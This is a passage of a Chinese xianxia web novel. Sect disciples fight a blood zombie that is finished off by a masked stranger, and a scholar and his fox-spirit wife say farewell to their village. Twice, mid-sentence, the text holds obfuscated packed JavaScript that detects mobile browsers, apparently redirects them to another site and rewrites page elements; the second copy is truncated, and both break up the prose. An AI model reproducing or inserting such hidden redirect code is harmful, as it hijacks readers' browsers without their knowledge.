镇长正一脸焦灼不安的来回踱步,忽地,咻咻破空声传来,他抬头望去,随即两道流光落在他的面前。 光芒散去,露出两个人影,其中一个是十五六岁的少年,神情飞扬,另一个年轻男人看着则是要沉稳一些。两人都一袭利落白衣,袖口滚着一圈精致的青色山峦花纹。 镇长连忙迎上去,“两位可是青山宗的仙师?” 少年点点头。 年轻男人开口道,“什么情况?” 在镇长的一番讲述后,两人很快听了个大概,原来凌晨时有人路过一片荒郊,发现那里居然横着两具尸体,还有一个棺盖开启,但里面空无一物的黑色棺材。 少年问:“你们确定不是人为?” “这两人全身的血都被吸干了!这能是人干的吗?!”镇长苦笑,“所以我们才第一时间派人送出传讯,请仙师大人们前来。” 年轻男人神情变得凝重少许,目光转向少年,“小师叔,莫非是吸血的蝠妖……” “若是蝠妖,那口黑棺又怎么回事?” “这个……” 林清沉吟少顷,抬头扫了眼天空,“不急,现在阳气正盛,我们先去事发之地看一眼再说!” 年轻男人点点头,对镇长道,“找人领我们过去瞧瞧!” 他话音刚落,忽地前方又降落下两个窈窕女郎,一个红衣如火,一个紫衣端庄。 四人八眼相对,都是齐齐“咦——”了一声。 林清第一个发话,他笑眯眯道,“哎呀,原来是许道友和石道友,可惜你们来晚一步,今天这任务是我们的了,请回吧。” 这二女中紫衣的名叫许曼,红衣的叫石珊珊,都是五行宗的门人。 石珊珊挑起眉,“两位道友,你们前几天刚抢了我们的一只山魈,今天这任务理应补偿给我们。” 前几天某处上报有山魈作怪,她和师姐前往解决,不料那家伙颇为狡猾,虽然被她和师姐打伤,但依然逃走了。她和师姐一路追踪,等再发现山魈时,它已经死在了青山宗这两人的手中。 “抢?”林清笑得很爽朗,露出一口白牙,“分明是你们实力不济,才会让它逃走。既然它都从你们手中逃走了,我们来杀,怎么称得上一个抢字呢?何况,若不是我们出手,它成功逃走后可是会继续害人的,这么算的话,你们还应该感谢我们才对。” 石珊珊柳眉倒竖,杏颊生晕,“胡说八道,我和师姐一直在追踪它,怎么可能会让它真的逃走!分明是你们故意抢我们的,害我们白丢了一笔功勋!” “啧,自己实力不够,拿不到功勋,怪我们咯?” “你!”石珊珊怒气上涌,光芒一闪,手中已经握住一柄长剑,剑尖指着林清,冷声道,“青山宗小子,你说谁的实力不够,同我较量较量!” 气氛顿时剑拔弩张,紧张到了极致。 一旁的镇长看得头皮发麻,瑟瑟发抖。 这事情还没解决呢,仙师们怎么先起了内讧? 这仙师们可都是能上天入地,斩妖除魔的,若真打起来,恐怕三两下就能将他家给夷成平地…… 但怕归怕,他又连一个屁都不敢放,生怕惹得仙师们更加恼怒。 许曼叹了口气,淡声道,“石师妹,些许小事,算了吧,不要伤了我们两宗的和气。” “就是,动不动喊打喊杀的,剑修就是粗鲁!”林清哼笑一声,“好啦,这次的事态很紧急,没时间和你扯皮!”他扭头看向镇长,道,“派人领我们过去看看。” 镇长松了口气,连忙道,“我亲自带两位仙师过去。” 见到林清两人和镇长一起离开,许曼道,“师妹,我们回去吧。” “不,方才那小鬼如此可恶,就这么回去,我不甘心!”石珊珊眯起双眼,突然眸底闪出一抹兴奋,“师姐,我们也跟上去,若有机会,将他们的任务也抢了,这、这叫……礼尚往来!” 哼,抢怪这种事,他们做得,她们自然也做得。 …… 在镇长和几个镇民的带路下,林清二人来到了某处荒郊。 这里的空气中弥漫着一股浓厚的血腥味,一处地面被胡乱挖开,深处躺着口诡异的黑棺,棺壁四周绘着一些诡异难明,不似人间文字的血色符文,还有两具躺在地上的干瘪男子尸体,他们身体扭曲,表情凝固着惊骇万分, 虽是夏季正午,这里却隐隐透着一股阴寒的感觉,明亮的阳光也无法带来多少暖意。 “两位仙师,这里就是出事之处了。”镇长说。 他还特意安排了几个镇民在附近看守,防止现场痕迹被某些好奇人士不慎破坏。 看到这里的景象,林清两人都是面色微变。 尽管之前从镇长的话中,他们已有了心理准备,但亲眼目睹,感受更加强烈。 两人加快脚步,走到了黑棺前。 棺材中空无一物,只是底部还残留着一层薄薄的暗红色液体,两人走近之后,闻到的血腥味儿愈发浓郁了几分,似乎它们便是空气中血腥味的 来源。 年轻男子方云弯下腰,用手指轻抹了一点那暗红色液体,放到鼻前轻轻嗅了嗅,瞳孔一缩:“小师叔,是血。” 林清面色凝重地扫了一眼四周,“那棺木上的古怪符文我看不出具体含义,但棺中汇聚鲜血……这种诡异手段,我似乎曾在哪里听过,应该是某种偏门的邪派术法……一时又想不起来,方云,你知道它是干什么用的吗?” 年轻男子方云皱眉,还未说话,不远处一个温和的女声已经接道:“炼养血尸。” 林清和方云齐齐一愣,旋即转头,看向不远处的许曼,方才说话的便是她。 “炼养血尸?”许是因为匪夷所思,林清的音量提高了几分,“你确定?” 许曼点点头,而后,她手指一点,几人脚下的土壤竟然如波浪般地震动起来,紧接着,几条灰白色的怪虫出现在众人眼前、 “你们看,这里有不少阴僵虫。” “没错,这些是阴僵虫,”林清点点头,这种虫最喜出现在阴气极盛之地,以阴气为食,对阴邪鬼物来说,算是一种不错的补品,“但这和炼养血尸有什么关系?” “我还以为青山宗的人多了不起,看来不过如此,连这点粗浅知识都不知道!”石珊珊抬头,趾高气昂地嗤笑一声。 虽然她自己也不清楚,但不妨碍她抓住机会,立即嘲讽。 林清哼了一声,懒得理她。 “二位道友请看,”许曼抬起手,从容不迫地指点着,“这里地势四边高中间低,状若漏斗,阴气全往中间汇聚,加上左右两边的山坡如铁锁,镇住阴气不泄,这在风水局中叫做锁阴地,是极阴极邪之地,所以才会有这么多的阴僵虫出现。” 五行宗的土系修士,便是以感应、炼化地脉元气的方式进行修行,是以都对风水颇为了解。 “没错,我记起来了,”林清忽地双目一亮,以拳击掌,“传说中炼养血尸的邪术,便是将刚死不超过一个时辰、命魂尚未逸散的人的尸体葬入极阴之地,同时以特殊手段使其命魂与六魄相融合,再以秘制的人血浸泡尸体,待人血全部被尸体吸收之后,便能炼养成功!” 只是这“特殊手段”、“秘制人血”之法早已失传,近一两百年里,还没人目睹或听闻过血尸的存在,是以他才没第一时间想起。 “几位仙师,你们所说的血尸是什么?”一边的镇长听得满头雾水,诚心求教。 “血尸是由人类尸体所化的一种怪物,以生灵血液为食,极为凶残!”石珊珊指着地上那两具死状可怖的尸体,“这两人应该就是被血尸给吸干的!” “啊?!”镇长顿时双腿一软,险些跌倒。 “石师妹,别对凡人说这些!”许曼微有些无奈。 石珊珊吐了吐舌头。 许曼让镇长离开了,因为后面几人的谈话凡人不宜多听。 随后,她看向林清他们:“两位道友,没想到今日失传已久的血尸邪术再次露面,接下来,我们要怎么做?” 林清和石珊珊异口同 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石珊珊忍不住白了他一眼,这小子拾人牙慧!不过,她看在此刻两人算是同一战线的份上,便放弃了怼他。 许曼轻声道,“石师妹,林道友,你们说的也有道理,可此事毕竟不是儿戏……” “哎呀师姐,你想想,这血尸若如此厉害,怎么还会绝迹这么久?”石姗姗笑道,“传说之言,多有夸大,往往三分凶险,能说成十分,没准那血尸根本不堪一击呢。再说了,即便真敌不过,我们总能逃走吧?” “……” 林清又目光微亮,“你们看,那棺材的内部还残留了一些鲜血,是不是代表那个血尸并未进化完全?” 经他提醒,余人也发现了这点。 再结合这四周的情况,几人大概推断出了事情的经过,应该是有人利用这极阴之地炼养血尸,结果阴差阳错,被这两人将装有血尸的黑棺挖出,打断了炼养过程,然后血尸苏醒,吸干这两人的鲜血后逃走。 倘若那血尸真的未进化完全的话…… 四人交换目光,都从其他人的眼中看出了同一个想法——“倘若能捉住它,再顺 藤摸瓜找出炼尸之人,必然是大功一件!” 石珊珊看向林清两人,昂首道,“只要你们答应和我们合作,捉住血尸后,功勋平分,上次的事情我们就不计较了。” 林清咧嘴一笑,“合作不是不行,但得说清楚,上次的事情本来就是你们不占道理。” “你……” “好了石师妹,别争了,合作第一,”许曼道,“方道友、林道友,你们青山宗的追踪术法比我们五行宗更强,就麻烦你们来寻找这血尸的下落。” 方云点点头,抹了一把馆中鲜血,解释道,“这上面必然带有血尸的气息,我就以它为媒介,来寻找血尸。” 他施展追踪术法,很快,神念得到指引。 “在西边,二十里外!” 四人齐齐朝西飞去。 途经一个小村时,突然发现村中血气冲天! 四人神念一扫,全都色变! 这整个村中的上百村民,竟然全被吸干了鲜血,变成了一具具干尸! “肯定是那血尸所为!” “该死!”石珊珊瞠目欲裂,“若让我抓到它,必将它碎尸万段!” 好在,接下来的路上,几人并没发现第二个遭到毒手的村子。 “传言血尸不喜阳光,习惯夜间活动,”许曼道,“应该是这个原因,才没让它害了更多人命。” 二十里路,对凡人不算短,但对修士来说,可谓转眼即到。 “它就在这土里!” 方云伸手一指,他所指之处是一片黑土,但众人却都能感觉到,自土深处传来一股混着血腥味的暴虐气息。想必血尸为了躲避阳光,藏在了这土中。 许曼看了眼余人,准备先商量一下该怎么做,便开口,“大家先别急着动……” “手”字还没说完,石珊珊却已经按捺不住怒气,长剑一指,凌厉无匹的剑气,直奔那片黑土而去! “去死!” 第91章 尸魔要害(感谢sy2246的盟主) 轰—— 剑气破开一条巨大裂缝,直透地底,巨大的闷响在土里炸开,地上草木乱飞。 “吼——”土地深处发出一声恐怖之极的咆哮,一股残暴,暴虐的恐怖气息,如决堤的汪洋从地缝中汹涌而出。 一道全身被鲜血染红的身影,直接冲出地缝,雪白的双眸瞪着四人,露出凶残之极的煞气。 出来了! 众人也没时间责怪石珊珊的冲动,立即展开行动。 “黑将!”林清轻喝一声,一个身穿黑色盔甲手持长刀的阴魂浮现而出。 与此同时,方云也召出了他的鬼奴,一个手持长鞭的女子阴魂。 许曼凝眸施展术法,只见地面上的石头涌动,很快组成了一个近十米高的石人。 “去!”她操控石人,举起巨大的拳头,狠狠砸向血尸。 血尸竟然不避不让,用拳头和石人对撞。 轰! 石人竟然被血尸一拳砸飞出去,身体狠狠砸断一棵大树。 吼! 血尸咆哮一声。 “好大的力气!”方云骇然,“好硬的身体!” “再硬,能硬得过我的剑么?”石珊珊手中长剑猛然爆炸起刺目的光芒,在这一瞬,竟让四周的空气都产生巨大的波纹,轰鸣间,直接飞起来,刹那直奔血尸! 铛地一声巨响! 剑光不偏不倚地斩在血尸的脖颈之上,却连半个小豁口都没留下,只有一道浅浅白痕! 什么?! 这一幕,立刻让四人都是面色大变。 尤其是石珊珊,她深知自己这一剑的威力,足可开金裂石,就算是百炼精钢,也能一剑劈开,现在竟然没办法对血尸造成半点伤害,它的身体竟坚硬到这种程度? 吼! 与此同时,血尸似乎被激怒,雪白的双眸盯住了石珊珊,突然大吼一声,口中生出一对狰狞尸牙,冲上天空,十根闪着寒光的利爪凶狂扑咬向石珊珊。 它竟也能飞行! 石珊珊对敌经验也极为丰富,直接在血尸扑来时,毫不迟疑地急速避开。 但那血尸的速度快极,她这一避已经很果决,依旧只是与血尸的利爪堪堪擦身而过。 血尸一击未中,再次朝石珊珊扑去,许曼立即操控石人不停投掷石块,阻拦血尸,林清手中玉尺狠狠拍下,血尸被震得倒飞出去,砸在山崖上,碎石四溅,但依旧毫发无损。 “黑将!”林清喝了一声。 黑将和女阴魂齐齐冲下去,呼啸声中,阴气撩绕的长刀和长鞭一起劈向还没从山崖上脱离的血尸。 阴魂的攻击即可化为实体,也能直接攻击命魂,既然血尸的身躯比钢铁还硬,那就直接攻击他的命魂! 让众人没有料到的是,那阴气所化的长鞭和长刀落在血尸的身上,它全身一颤,却没有露出痛苦之色,反而发出一声沉醉、爽快的咆哮,身上气势再次暴涨一截! “这是怎么回事?!”众人瞪大双眼。 方云突地反应过来:“不好,传说血尸命魂为七魄所锁,体内阴阳颠倒,所以阴气不光无法伤到它的命魂,对它来说,反倒是大补之物!” 青山宗最拿手的本就是驭鬼之术,但现在,鬼奴的攻击对血尸毫无效用,不,还会增加血尸的实力,等于是砍掉了林清和方云的一只臂膀! 众人都感到了棘手。 “看样子,只有至阳至刚之力才有可能对这血尸造成伤害!”方云沉声道。 林清眯起眼,玉尺将再次扑上来的血尸震退十余米,手中出现一张散发微光的符箓。 “既然这样,那试试五雷符!” 天雷之力,是天下一切妖邪的克星,对血尸必然也不例外。 只是,血尸如此强悍,五雷符能否对它带来致命重创,他也没太大把握。 “林道友稍候!”许曼从储物袋中取出了一个玉阵盘,“这是太阳真火阵,可汇聚太阳之力,产生太阳真火,对阵中妖邪进行灼烧,搭配五雷符,杀伤力会更强。” 这阵盘十分珍贵,而且使用数次便会报废,所以她之前没舍得拿出来,但此刻情况紧急,她也顾不得心疼了。 “只是,我激发阵盘需要五息时间,这期间若被打断,就要重新开始。”许曼冷静地道,“所以还得烦请各位,尽力困住它五息。” 林清、方云对视一眼:“好!” 石珊珊:“好!” 林清:“你便算了,一点用也没有!” 他和方云操控鬼奴扑向血尸,不求对它造成伤害,只是纠缠,不让它干扰许曼激发阵盘,同时一张张低阶符箓不要钱般地甩出,一时间,光芒四射,轰然作响。 “困!”方云打出符箓,化出数道锁链捆住血尸。 吼!血尸目露凶光,瞬间张开一对比精铁还硬的手臂,凶狂崩开,下一秒又被林清的火符给砸中,浑身冒着火星,脚步踉跄。 这一波狂轰乱炸的代价就是,血尸果然无法前行,但两人的魂力也隐隐开始跟不上。 突然,许曼道:“好了!两位道友,速将你们的鬼奴收回!” 林清和方云连忙收回已经阴气大损的两个鬼奴。 使得死尸复生。因激活之法不尽相同,所复生的死尸便分为血尸、铁尸、毒尸、玉 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众人还没回过神来,四周忽然弥漫出了无数厚重的浓雾。 啪嗒,啪嗒。 从浓雾之中,渐渐显现出了一道身影。 浓雾笼罩之下,众人看不清这人的身形,只能见到对方的脸上戴着一个青面獠牙的恶鬼面具,只是这面具,做工拙劣,材质简陋,比起什么法宝来,倒像是……孩童的玩具? 几人正在惊疑不定,面具之下,一个粗哑如砂石摩擦般的男子嗓音,响了起来。 “尸魔的要害,位于眉心……眉心不损,尸魔不灭!” 四人还没来得及思考对方的来意和身份,便被他的声音引领,下意识朝着血尸的面部望去。 果然,血尸浑身伤痕累累,但眉心处依旧完好。 那人抬起一只手,指尖凝聚一点青光。 咻! 像一道青色的利箭,瞬间洞穿血尸的眉心。 一股红中带黑的尸气自那被洞穿之处冒出,血尸一声未吭,砰地栽倒。 四人目瞪口呆。 这时,许曼突然发现那鬼面人的身影逐渐在浓雾中散去,她连忙出声:“前辈且慢走,在下五行宗许曼,还没多谢您的救命之恩。” “我非前辈,只是一个恰好途经此地的散修,随手为之,不需感谢,也不用记在心上,更不要随意对外张扬。” 伴着那身影消失,声音亦是不断回荡,渐轻渐远。 第92章 镇魔塔中(感谢sy2246的盟主) 浓雾随之散去,四周的山林、碎石、断裂的树枝落叶……再次出现在四人的眼前。 林清四人在原地伫立良久。 若非地上还躺着血尸的尸体,一时间,甚至有恍然如梦的错觉。 几人联手对付这血尸,还多次险象环生。 结果鬼面人只轻飘飘的一指,连半分烟火气都未生出,就直接结束一切。 这怎不让他们的心中震惊莫名?! “这位前辈究竟是谁?”许曼第一个喃喃开口,“为何连姓名都不肯留下,将来我如何回报他的救命之恩?” “对方既然特意戴上面具,又用浓雾遮掩身形,想必并不愿意透露真实身份,”方云感叹道,“我猜测应是某位在附近避世的散修前辈,心性高洁,施恩不为图报,真是可敬。” 石珊珊则是看着鬼面人消失之处,手握剑柄,目露崇拜,轻语道,“希望有一天,我也能如那前辈一般轻松杀死血尸!” 不,她一定能做到! “行了,既然前辈不想透露身份,我们在心中记住他的恩情即可,”林清道,“先将这血尸带回去换功勋,再将具体情况上报镇魔塔。” 炼养血尸之人的身份尚且不明,但他们只是历练弟子,实力不足以继续追查下去,还是交由镇魔塔来处理更为妥当。 余人都点点头。 片刻后,此地平静下来。 只有满地断裂的枝叶、零落的碎石、塌陷的山壁,在无声地彰显着,不久之前,这里曾发生过一场激烈之极的战斗…… …… 长陵高官陵城。 城外不远处有一座山,山巅最高处,矗立着一座通体洁白的塔。 这座塔气势磅礴,形制古朴,巍峨沧桑,高挺的塔身似乎能刺入苍穹,白云如雾,在塔身缭绕,使得外人看来迷蒙模糊,又给它增添几分神圣庄严的色彩。 而这座塔的名字,更是让所有妖怪闻之丧胆,正道修士却豪情壮阔。 镇魔塔! 它是正道的象征,是正道修士们心中最深的骄傲。 镇魔塔并不止一座,而是有许多座,分布在大陆上的不同地方。 几乎无人知道这些镇魔塔起源于何时,又是何人所建,它们存在于这片大陆上的时间,比大夏国的历史更长,甚至于,各国的省份地域划分都是根据镇魔塔的分布而来的,每个省城的附近都有一座镇魔塔。 而一些被正道修士们抓到的作乱的妖怪,如果没犯下必死之罪,也会被送到塔中的某一层,给关押起来,等它们赎清过错,悔过自新,才有可能被放出。 此时,林清四人来到了镇魔塔的一层入口。 守塔的修士验过了他们的身份,让他们进入。 进入塔中,他们没有丝毫停留,直奔某一层的任务交接处。 每隔数年,正道的大小宗门,无论实力强弱,都会派出一批新弟子分驻在不同地区的镇魔塔中,负责解决周边作祟的各种妖鬼,这亦是每一个正道宗门弟子都必经的历练。 像是林清方云、许曼石珊珊,他们便都是这样的身份。 虽说林清为现任宗主的孙子,相对其他弟子来说,身份更为尊贵,但青山宗也不可能因此而破例。 毕竟,正道修士们的修炼目的便是为了斩妖诛邪,守护人间。修炼固然重要,但若只是苟且一隅,只会贪求长生,而视妖鬼作祟不顾,那是本末倒置! 何况在实际战斗中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892963|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也能增长对敌经验,能弥补实力上的不足。若只会盲目修炼,反可能死在比自己弱小的敌人手中。 总之,各省的地域中一旦发生了与妖鬼作祟相关事件,就会传讯给镇魔塔,镇魔塔对任务进行难度评估后,再分派给有空闲的正道弟子。 任务交接处。 今日负责这里的几名正道修士,看见林清四人带来的血尸尸体,一个个面露震惊。 “血尸?!” “居然还能见到血尸!” “竟然吸光了整个村子的人血……果然凶残!”” 有人取出了数十本卷宗,快速翻阅,然后停在了某一页。 “除去这次,发现尸魔存在的最近一次,已经是两百多年前。当时是一个叫尸阴门的邪宗搞的鬼,后来整个宗门都被一锅端了,怎么现在又冒出新的血尸了呢?” “难道是尸阴门的余孽?”旁边一名修士问道。 “不确定,”另外一人握着笔,边写边道,“总之先记下来,回头让人去调查吧。” 那人合上卷宗,看着四人,叹气道,“这次你们冲动了,真正的血尸不弱于金身境的修士,你们根本不可能是它的对手,发现它可能是血尸时,不应擅自追踪,而应先回报给我们……幸好,这只血尸还没炼养完整,实力被削弱了不少,你们的运气不错。” 林清几人回想起当时的情景,也都心有余悸。 握着笔的修士问,“它是你们四人合力杀死的么?” 许曼沉吟了片刻,将能讲的地方讲了出来。 “不是,有一位散修前辈帮了我们……” 几名正道修士都是一怔,面面相觑。 “清平镇附近住有散修么?” 第93章 离村前夕 私塾。 那叫阿平的孩子小心翼翼地问,“先生,你将我的面具拿到哪里去了?” 陈子均肃然正色道,“你今日读书不甚用心,那面具由我暂时保管,等你什么时候能将《千字文》倒背如流,再还给你。” “啊?” …… 陈子均定下的离开的日期是六月三十日。 这一天,已经逐渐逼近。 第一滴灵液胡翘翘已经服用完,妖力猛然增长了许多,前几日很疼,后面渐渐就不太疼了。因有第一滴的基础,前几天陈子均替她将第二滴灵液稀释成了二十份,她继续每晚服用,借助太阴感应诀将妖力转化成太阴星力。等这二十份服用完,下一滴应该只用稀释成十天左右即可。 六月下旬,牛车造好,为了尽善尽美,王木匠还在细心调整。 胡翘翘也开始着手清点起了她和陈子均的东西。 要带走的,分门别类地整理好,收进储物袋。 不方便带走的,或是不用带走的,若是有村中人家用得上,她便拿去送人。 陈子均则是将一些纸笔和书本都送给了私塾的孩子们。 六月二十九日那天的傍晚,在村长的安排下,村中广场,村民们一起为夫妻俩准备了几桌酒菜践行。 陈子均暗暗在酒坛中滴入了一滴猴儿酒。 村民们感觉这酒格外香醇浓厚,闻之欲醉,滋味更是美妙无比,一口即醺然。 醉意驱散了离愁。 不知谁突然喊,“秀才公,我这人没文化,但突然想到一首送别诗给你!” 陈子均笑道,“洗耳恭听!” 那村民站起来,大声道,“作诗赠秀才,礼轻情谊真,他日登金榜,莫忘白崖村!” 陈子均诚恳道:“好诗!” 那村民嘿嘿笑了起来,“秀才说好,那一定是极好的,没想到我还有作诗的天赋!” 其他村民们起哄。 “行了罗二狗,你那是什么打油诗啊?” “秀才说好,是顾你的面子。” “就是,我家三岁孩子写的都比你的强。” 罗二狗暴躁跳脚:“吹屁啊,你让你家三岁孩子来做一首试试!” 村民们轰地大笑,眼周却都有些微红。 胡翘翘也几乎要流下泪来。 她真的,很喜欢这里! 但她虽不舍白崖村,最爱的却是相公,相公去哪儿,她便会去哪儿,即便天涯海角,甚至刀山火海,她也绝不动摇! 接着,一户户村民都来陈子均那一桌给他敬酒。 陈子均酒到杯干。 胡翘翘有些担忧,想让众人别劝相公喝酒,毕竟喝酒太多会伤身,但见离别在即,她也不忍拂众人的兴,只能凑到小青耳边,悄悄问了个醒酒咒,打算若是发现陈子均有醉酒的迹象,就找个机会替他解酒。 月儿爬上树梢,辞别酒也终于结束。 踏着地面上幽静流淌的月色,陈子均与胡翘翘回到住处。 今晚的月光很美,又是离别的前一晚,胡翘翘便没服用灵液修炼,而是与陈子均一起在前院赏月。 依偎在陈子均的身边,抬头看着那皎洁的明月。 也许是因为修炼太阴感应诀的缘故,在她的眼中,它有种特别的亲切、温柔之感。 它不会言语,亘古沉默,却亿万年如一日,无私为人间洒下光辉。 “月光好美啊……”胡翘翘将脑袋轻靠在陈子均的肩上,卷翘长睫下是轻微的迷离,“相公,在省城能看到这么美的月光吗?” 陈子均笑了,道,“我不确定,但我知道,只要娘子在我身边,什么地方、什么时候的月光都是最美的。” 胡翘翘心中一甜,相公连说情话都是全世界最动人的呢。 “翘翘也是……” 可惜,她就只会学舌了。 过了片刻,胡翘翘见今夜星光稀落,心里又觉得几分遗憾。 “如果今晚的星星能多一点,就更完美了……” 她话音落下没多久,忽然不远处飞来了几点闪烁的微光,飘荡旋转,璀璨迷人,以夜色为幕,就仿佛是夜空中多出了几粒飞舞的碎星。 胡翘翘怔了怔,定睛看去,接着轻轻低呼一声。 “是萤火虫!” 六月底,正是萤火虫最多的时刻。 只见就在这墨色的夜空中,点点萤火缓缓地于夜色间涌现,在夜空中飞旋轻舞,一点一点地越来越多,仿若这一刻,夜空中浮现出万千繁星。 “啊——”胡翘翘张开小嘴,目光发直。 但这还不够,更多的萤火虫无声地散发着光芒,划着悠悠的弧线,无穷无尽地从遥远的夜色中飞出,一群接着一群地涌现,直到多到不计其数,渐渐汇聚成一条发光的长河,而这条长河,又会随心所欲变幻出各种各样的形状。 它们是夜间的精灵,是会舞动的星光,在夜色中,形成一条漫卷的星光长河。 这一刻,仿若银河突现。 胡翘翘满眼惊喜地注视着眼前的这一幕,渐渐地眼角有些湿润。 莫非是萤火虫们也知道他们明天就要离去,所以今夜赶来为她和相公送 别么? 陈子均抬起手,一只萤火虫竟悠悠地停在了他的指尖,散发着微弱的光芒。 他举着它,看着胡翘翘,“娘子,我送你一颗星星。” 胡翘翘嫣然地笑了,如夜色般温柔的眼眸中似乎也倒映着星光。 “相公真好。” 她小心翼翼地伸出小手,指尖与陈子均的指尖相碰,那萤火虫竟乖乖地又飞到了她的指尖。 胡翘翘眨眨眼,对它轻吹了口气,“飞吧,星星就应该待在天上。” 萤火虫轻轻振翅,朝天飞去,汇入星河。 胡翘翘抬头凝望着这美丽的一幕,心动神摇。 陈子均则是从侧面看着她,她鼻尖挺翘,下巴柔和,每一根线条都精致如画。 忽然,胡翘翘想到什么,扭头冲他甜甜一笑。 “相公,前几日小青教了我一首她自峨眉山学来的山歌,我唱给你听,好不好?” “好。” 于是,一个甜蜜而柔软的嗓音,便在夜色中回荡了起来。 “对面的阿哥,请你抬起头,月光像是流水,萦绕阿妹的笑脸……阿哥爱阿妹,阿妹的心儿醉……” 一曲山歌,情意浓似酒。 夜色醉,人亦醉。 …… 夜又深了几分,胡翘翘已经入睡。 陈子均走到村口,停在了那棵只剩半截树桩的梧桐树前。 “老童,我来同你辞别。”他声音清淡、悠远。 梧桐树中,浮现出一个白须白眉的老头儿。 陈子均手对着树桩一挥,上面便多出了一个酒壶,两个酒杯。 “你心心念念的猴儿酒,今夜你我共饮。” 童正叹气道,“早知喝了这酒就要离别,那我不喝也不是不行。” “天下无不散之筵席。”陈子均拿起酒壶,稳稳地斟了两杯酒,声音平缓温和,“相遇是缘,离别亦是缘,重聚仍是缘,明日虽要离别,将来未必没有再聚之日,何必多愁善感。” 童正微微一笑,端起一个酒杯,点头道:“有道理。” 两人对饮了几杯猴儿酒。 这猴儿酒果然醇厚无比,加上陈子均方才便喝了不少,此刻竟有些醺然若醉之意。 他又道,“老童,将你的叶子给我一片。” 童正不知他的用意,但还是取出一片梧桐叶递了过去。 片刻后,陈子均将树叶和一个小瓶一起给他,“我在这上面附了一个感应类的术法,将来你或白崖村遇到危急之事,只需破坏这树叶,我就能感觉到,第一时间赶回。还有这瓶子有些我自炼的灵液,服下后,可增长三百年的修为,你可留着,以备不时之需。” 童正怔了片刻,方伸手接过。 陈子均微微一笑,收起了酒壶和酒杯。 “好了,我回去了。” “秀才稍等。” 童正说完,拿出一根树枝。 这树枝约莫两寸长,小指粗细,不同于其它树枝的是,它晶莹剔透,宛如绿色水晶雕成。 “它被我施展了‘替死’之术,可代你承受一次致命伤害。” 陈子均微微动容,然后,他点了点头。 “这样的好东西,我就不矫情推辞了,多谢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两个小洞消失不见。 陈子均这才点点头,单手轻挥,一个小瓶便落在小青的面前。 “里面的灵液足够你增加两百年修为,路上,你来负责赶车。” 小青心中一喜,连忙应道:“是。” 玉珠儿立即将装死的打算给忘记了,从树上探出小脑袋,委屈巴巴道,“大坏蛋,为何她有可增长修为的灵液,我却没有?” 陈子均瞅了她一眼,“谁让你整日除了吃,别的都不会。” 玉珠儿愈发委屈,“我在这树上被你困了三年,帮你看家护院,没功劳也有苦劳,怎么能说我除了吃什么都不会!何况这三年,我天天吃麻雀田鼠,一寸也没长高,你都要走了,还不给我一点好处,真是偏心眼……大坏蛋偏心眼……” 这三年里,她整日兢兢业业,任劳任怨,唯一的好处就是吃了个妖怪,还骚气十足。 现在这后来的蛇妖却能得到灵液,她却没有! 玉珠儿只觉得自己是全天下最惨的一只蛛妖,混成如此模样,说出去,简直是蛛妖之耻,不如死了算了! 越想越伤心,大眼睛眨巴眨巴,眼泪都快要落下来。 陈子均笑了笑,对她弹出一个小瓶。 “逗你的,好了,这个给你,做这三年的补偿。” 玉珠儿连忙吐出蛛丝,将小瓶粘住,吞进口中,破涕为笑,“这还差不多。” “你雷劫将到,最好不要提前服用,等雷劫来临时再喝,能加大成功渡劫的几率。”陈子均交代。 玉珠儿原本就有近八百年的修为,上次她又吃了五通娘子的化身,如今修为已近千年,雷劫随时可能到来。 “知道啦。”玉珠儿的心情忽然有些复杂。大坏蛋居然连她的雷劫都替她考虑了,真难得。 陈子均又说,“你命魂上的禁制我已经替你解开,从今日起,你就可以自由自在地去任何地方。” 玉珠儿看着他,眨巴几下眼,“大坏蛋,你真的要走了么?” “嗯。” “以后……也不回来了?” “或许吧。” “……那可真是太好了。对了,你要去哪儿,将来我心血来潮出门游历时,就避开那些地方。” “多半是省城往京城那一带吧。” “知道了。” 第94章 离村之旅 陈子均出了后院,又来到老牛的身边,“张嘴。” 老牛如能听懂人言一般,温顺地张开了嘴巴。 陈子均将少许稀释后的灵液滴入牛口中,抬手摸了摸它的脑袋,“一开始会有些疼,很快就好,力气大点才方便拉车。” 老牛的四腿缓慢跪地,闭上了眼,庞大但瘦骨嶙峋的身躯轻微颤抖。 约莫过了小半炷香的时间,它没那么疼了,四条隐隐健壮了几分的牛腿一用劲,恢复了直立,然后甩着尾巴,亲热地看着陈子均,哞地叫了一声。 这时,胡翘翘也从房间里走了出来。 “相公,我检查好了,没漏掉什么东西。” “嗯,那我们走吧。” “好。” 胡翘翘再次转头,有些留恋地看了一眼这住了三年的地方,这才走向了牛车。 陈子均先将她扶上牛车,关上院门,再自己上车。 小青轻轻跃上车辕,坐在驾车的位置处,没等她扬鞭,老牛善解人意,已昂首奋蹄,拉着牛车向前走去。 随着牛车的行进,不少村民都站到了路边,向他们挥手作别。 陈子均和胡翘翘也从车窗探出脑袋,笑着与众人道别。 还有人从车窗里塞进来一些晒好的常用草药,几张刚烙好的饼子等等。 几个孩童追逐牛车,“先生,先生!” 牛车停下。 他们递过来几篮水果,一些点心糖果。 “先生带着路上吃。” 还有手编的蚱蜢,几颗漂亮的鹅卵石,一把弹弓,以及一个青面獠牙的鬼面具。 “先生,这是临别礼物。” 陈子均全都收下,然后挨个儿摸摸他们的脑袋。 “我不在,也要好好读书。” “嗯,我们会的。” “有空我会回来检查,若是退步了要打手心。” “啊?” “哈哈。” 最后的告别也终于结束,牛车缓步走出了白崖村。 直到数百米外,陈子均回首望去,依然能见到村民们伫立在原地遥遥眺望的身影。 直到看不清了,胡翘翘才放下窗帘,小手抹了抹有点儿湿润的眼角。 